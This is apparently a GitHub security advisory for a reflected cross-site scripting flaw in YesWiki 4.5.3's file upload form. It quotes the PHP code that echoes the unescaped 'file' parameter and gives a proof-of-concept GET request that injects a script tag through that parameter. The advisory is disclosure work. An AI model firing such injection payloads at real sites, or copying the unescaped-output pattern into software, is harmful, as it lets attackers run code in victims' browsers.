GHSA-2f8p-qqx2-gwr2

### Summary Reflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication

This Proof of Concept has been performed using the followings:

- YesWiki v4.5.3 (doryphore-dev branch) - Docker environnment (docker/docker-compose.yml)

### Vulnerable code The vulnerability is located in the [file](https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735) ``` public function showUploadForm() { $this->file = $_GET['file']; echo '<h3>' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this->file . "</h3>\n"; echo '<form enctype="multipart/form-data" name="frmUpload" method="POST" action="' . $this->wiki->href('upload', $this->wiki->GetPageTag()) . "\">\n" . ' <input type="hidden" name="wiki" value="' . $this->wiki->GetPageTag() . "/upload\" />\n" . ' <input type="hidden" name="MAX_FILE_SIZE" value="' . $this->attachConfig['max_file_size'] . "\" />\n" . " <input type=\"hidden\" name=\"file\" value=\"$this->file\" />\n" . " <input type=\"file\" name=\"upFile\" size=\"50\" /><br />\n" . ' <input class="btn btn-primary" type="submit" value="' . _t('ATTACH_SAVE') . "\" />\n" . "</form>\n"; } ``` ### PoC 1. You need to send a request to endpoint and abusing the `file` parameter, we can successfully obtain client side javascript execution ``` GET /?PagePrincipale/upload&file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 Host: localhost:8085 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Accept-Language: ru-RU,ru;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Connection: keep-alive ``` 2. Get a response <img width="853" alt="Снимок экрана 2025-04-11 в 02 04 55" src="https://github.com/user-attachments/assets/b923f563-ead5-494c-8fbd-1c3b11635820" />

### Impact This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions